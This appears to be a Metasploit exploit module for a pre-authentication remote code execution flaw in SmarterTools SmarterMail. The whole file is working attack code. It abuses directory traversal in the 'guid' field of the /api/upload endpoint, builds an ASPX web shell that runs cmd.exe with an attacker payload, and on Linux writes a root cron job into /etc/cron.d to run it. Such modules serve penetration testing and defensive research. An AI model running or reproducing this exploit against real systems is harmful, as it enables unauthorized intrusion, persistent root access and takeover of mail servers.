##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Smartermail
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
        'Description' => %q{
          This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
          The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
          "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
          upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
        },
        'Author' => [
          'Piotr Bazydlo', # PoC write up
          'Sina Kheirkhah', # PoC write up
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
          [ 'CVE', '2025-52691']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :nix,
              'BadChars' => "'",
              'DefaultOptions' => {
                'WfsDelay' => 70
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win,
              'BadChars' => '"'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-10-09',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
        OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
        OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
        OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
      ]
    )
  end

  def windows_payload_wrapper
    vars = Rex::RandomIdentifier::Generator.new

    <<~EOF
      <%@ Page Language="C#" Debug="true" Trace="false" %>
      <%@ Import Namespace="System.Diagnostics" %>
      <script Language="c#" runat="server">
      void Page_Load(object sender, EventArgs e)
      {
      ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
      #{vars[:process_start_info]}.FileName = "cmd.exe";
      #{vars[:process_start_info]}.Arguments =  "/c "+ @"#{payload.encoded}";
      #{vars[:process_start_info]}.RedirectStandardOutput = true;
      #{vars[:process_start_info]}.UseShellExecute = false;
      Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
      }
      </script>
    EOF
  end

  def check
    check_version('100.0.9413')
  end

  def upload_payload(target_dir, filename, payload_contents)
    post_data = Rex::MIME::Message.new
    resumable_filename = Rex::Text.rand_text_alpha(4..8)
    resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from

    post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
    post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
    post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
    post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
    post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )

    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
    json_output = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
    json_output['key'] =~ %r{([^/]+)$}
    uploaded_filename = Regexp.last_match(1)
    print_good("The uploaded payload file is named: #{uploaded_filename}")
    uploaded_filename
  end

  def exploit
    payload_name = Rex::Text.rand_text_alpha(4..8)
    if target['Platform'] == 'win'
      target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
      print_status("Uploading payload to #{target_dir}...")
      uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
      register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

      datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, uploaded_filename),
        'method' => 'GET'
      )
    else
      target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
      print_status("Uploading payload to #{target_dir}...")
      uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
      register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

      payload_path = "#{target_dir}/#{uploaded_filename}"
      cron_command = "chmod +x #{payload_path} && #{payload_path}&"
      cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
      cron_filename = Rex::Text.rand_text_alpha(8..12)
      cron_target_dir = '/etc/cron.d'
      print_status('Uploading cronjob to call payload...')
      uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
      register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
    end
  end
end